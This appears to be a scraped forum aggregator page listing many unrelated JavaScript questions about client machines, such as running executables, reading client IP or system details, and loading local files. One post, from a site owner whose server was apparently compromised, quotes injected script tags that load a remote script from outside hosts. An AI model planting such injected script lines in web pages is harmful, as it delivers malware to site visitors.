Call Exe On Client Machine?
Jul 10, 2010<html xmlns="http://www.w3.org/1999/xhtml">
<head id="Head2" runat="server">
<title>Run Executable HTA</title>
[code].....
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="Head2" runat="server">
<title>Run Executable HTA</title>
[code].....
I need to find the information about Client machine by using Javascript : Information like : How much Avaliable sapce on clinet's machine ? Need to find RAM size . Operation System. Can we have any built in Active X control to get all these values ?
View 7 Replies View Relatedi want to open filedialog on client machine in javascript (in jsp page) ,Following is the code i have written but it is not working
var Frame = new java.awt.Frame();
var fd = new java.awt.FileDialog(Frame, "Browse File",java.awt.FileDialog.SAVE);
fd.toFront();
fd.show();
var getDirectory = new java.awt.FileDialog(Frame);
[Code]...
in Gmail (I've noticed it in other services too..)after you log in, progress bar appears. What does it do? Uploads all the JS(containing ajax) files into client's machine? or what?
View 1 Replies View RelatedJava Applet Development - JavaScript code to check whether JRE is installed on client machine.
View 4 Replies View RelatedWhat is the correct method for passing named values from a client back to the next client screen without sticking the info as an url query string?
View 3 Replies View RelatedMy HTML page loads and alerts an XML document on another machine. If I
request the page by machine name or localhost there is no problem. If
i request by IP access denied error occurs.
I think this is because of that only the documents on same machine can
be loaded. Is there any way to load xml documents from another machine?
I am writing some numerical math programs in Javascript (translating
from C++) and am seeking your advice regarding machine constants.
C++ offers the <cfloatlibrary for accessing machine constants such
as DBL_MIN and DBL_EPSILON. Does Javascript offer comparable values?
If not, can you suggest a method (brute force or otherwise) for
calculating these values myself (in Javascript)?
I'm trying to make a slot machine effect in JS - i had an ajax example but was far too complicated to manipulate to communicate with my server so im working from ground up.
The way ive done it is simple html and a submit button.
But i want the submit button to first create a "rolling through the images" affect like a slot machine does - then stop left to right in that order (basically like a slot machine does).
Now this is beyond what i know in JS but i then also want it to know the result of the images store them into an array and push it to my PHP so i can process it on my server.
I have a js file embedded into additional files to make up the extension.
I want to run a single executable file, but I can't figure out what the relative path is. The path must remain relative, because the user will set the directory.
The js code like so:
runthefile: function(){
const path = "calc.exe"
var file = Components
.classes["@mozilla.org/file/local;1"]
.createInstance(Components.interfaces.nsILocalFile)
file.initWithPath(path)
file.launch()
}
However, it doesn't seem to run calc.exe no matter where I put it. Code:
i followed my first AJAX tutorial on the web: [URL]
the AJAX is working fine on the site itself, but when i download the source codes provided with the tutorial, it won't run from my machine. i checked this with several tutorials and all same. i.e. no results when run from the desktop machine.
i tried with IE7 and ff 4.0
i need a way to visually shuffle through a bunch of names and pick one at random. i found some code for a javascript slot machine and hacked at it.
the result is attached.
when you click on the logo, it's supposed to display 25 names then stop on the last one. instead, it just display undefined. i'm not exactly sure why, but i think that the spinem function can't access the array of names.
I want to make an extensive browser/fileupload script inspired on windows Explorer... A server side listing of the files and directories with the home directory specified in the script and a listing of the clients files. The server side part can be found on http://vegeta.evilkalah.be ... The idea now is to make it possible to upload or download (maybe drag and drop) files from on side to the other. I don't know how I best make the client side. So on this part any help is welcome...
View 6 Replies View RelatedI'm about to start a project where the application is one used on a publicly accessed machine. It could be like, say, a ticket purchasing application in a kiosk machine; or maybe touch-screen app that tells grocery shoppers which aisle has coffee, etc.
So my question is, can javascript (or some other language?) be used to open a window without any controls (toolbars, menubars, titlebars, frame, etc) so that the user can't close the application (or resize, change, etc.)?
I've written a slideshow script which loads and displays a series of >1Mb images from the local machine. Each image is loaded twice - once to get the dimensions and once to be shown on the screen, so it can be dynamically resized by another script.
This script runs without problems in Opera and Internet Explorer, no matter how many times it's executed. However, after it runs a couple dozen times in Firefox, the width and height attributes of the image start returning 0. It seems like the loading has slowed down considerably and the script starts skipping to the next line without waiting for it to finish.
I've tried adding the line while(!image.complete), which works, but invariably causes Firefox to display a message saying the script is causing Firefox to run slowly, and asking if I want to abort.
Is there a way I can flush earlier images from the cache, or somehow free up resources so the script will continue to run as quickly as it does at the start?
I need to be able to search through an xml located on my local machine with an html page. Here's the thing: this whole system (html files, xml file) will always be on my local machine. Because it's a class project it won't be on a server. So here's the scenario: I navigate to where my files are located (say C:) and I double click my index.html page and this page opens in my browser and from this page I need to be able to search my xml file which is at the same location. I've tried xmlhttprequest and it won't open the xml file I'm guessing because I don't need an http request.
Here's what I have so far:
if (window.XMLHttpRequest) {
xmlhttp=new XMLHttpRequest();
} else {
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
} xmlhttp.open("GET","C:MovieDB.xml",false);
xmlhttp.send(); xmlDoc=xmlhttp.responseXML;
function searchDB() {
if(!xmlDoc){
alert("error")
} var keyword = $('#txtBox').val();
var searchVal = $('#basicCategory :selected').text();
var allitems = xmlDoc.getElementsByTagName("Movie");
for(var i=0;i<allitems.length;i++){
alert(allitems[i].getElementsByTagName(searchVal[0].
childNodes[0].nodeValue);
} }
The code doesn't make it past the xmlhttp.send() line.
On uploading files (PHP and javascript) to the server from local machine via dreamweaver, Google Chrome reported the presence of malicious codes (like loto-49) inside the server page. Later when I checked, I found that a HTML Code:document.write('....loto-49.com....'); was automatically added at the end of each javascript *.js files. On their removal, the warnings were gone.Recently, they again appeared. Between the closure of the head tag (</head>) and the start of the body tag(<body>) the following code is added automatically:
HTML Code:
<script src=http://hilalgroup.com/images/gifimg.php ></script> <script src=http://pianotainment.com/images/gifimg.php ></script>
[code]....
How can Iload and parse a json file saved in our remote serverfrom my local machine? I can load and parse the copy I saved in my local machine, but I can notwork with the remote copy. The following is the code I tested:
<
html>
<
[code].....
I need to make a $.post call on the beforeSend event of another $.ajax call.I read the documentation and I see that if the beforeSend return false the ajax call will be interrupt.So I made this code but doesn't work, because the real value of the beforesend function isn't true or false, is the value of the post.I have to do this because when you click on a link I need to verify before if you are able to do this via db permission of my webapp.I think you don't understand...This is the code:
$.ajax({
async: true,
beforeSend: function(){[code]....
});I see always the alert of success event, so the return of the beforesend is not correctly done.
The general framework is a simple user login function. The user name is selected and a password entered as usual. The function grabs the element values and passes them to a php page that queries the database. An AJAX call returns the password to the function and then I want the innerHTML to be a choice of two web pages, depending on success or failure of validation. There are existing AJAX functions available on the internet but they are overly complicated for what I think should be a simple, quick to load function.
Where I am stuck is that the standard procedure to make an AJAX call is the browser window event. How do you make the call from within the function? I have tried creating two new variables, "success" and "again" to replace xmlhttp, but still stumble on the event to assign a value. I left the blank password protection (if statement) with that variable to demonstrate what I mean.
I've put in my code below, which is in development and successfully alters the innerHTML text depending on user input but I can't figure out how to insert the relevant php page. I have '// out' the testing bits, but left them for info. (I have tried full 'scripting' as the innerHTML, but it's messy.)
I would like to get a web client's IP where the client is behind a firewall.
I googled but hasn't found any solution with javascript that work's. There
seems to be a java applet that can do this, but i would like the applet to
put it into a "hidden" tag or into a textbox on the HTML page, so when the
user clicks "OK" it will be posted to my PHP script.
How can I get the client's IP address from within an HTML page using embedded JS? Code:
View 8 Replies View RelatedIn my html page i've to show a grid with some data retrieved from an xml file ... i need to this beacuse i've to use online, on a webserver and offline
with all files on a usb key, cd, etc ...
which is the best way to accomplish this?
I suppose a solution it could be via javascript:
-locally open the xml file that contains the data e then render then grid. Now i wornder about the best way to do this ... i've read about xsl transofrmation and so on ... if it's possible i'h to achieve this with a cross-browser solution!
Is it possible to add a js function to a loaded web page on the client side?
E.g. IE is viewing google, can I add a javascript function to that instance
of IE viewing google? I am trying to hook browser events such as button
clicks and get information such as edit field text.
Can I rely on the following code to accurately detect a Windows 64-bit client?
var bWin64 = navigator.platform=="win64";
I want to create a link that a user can click which will create a popup
telling the user their ip address. I have:
var ip = new java.net.InetAddress.getLocalHost().toString();
alert("Your IP address is: " + ip.substring(ip.indexOf("/")+1))
but this does not seem to work. It says the ip is 127.0.0.1. Strangely,
this piece of code used to work but all of a sudden it doesn't for some
unknown reason. Can anyone tell me what's wrong with the above code?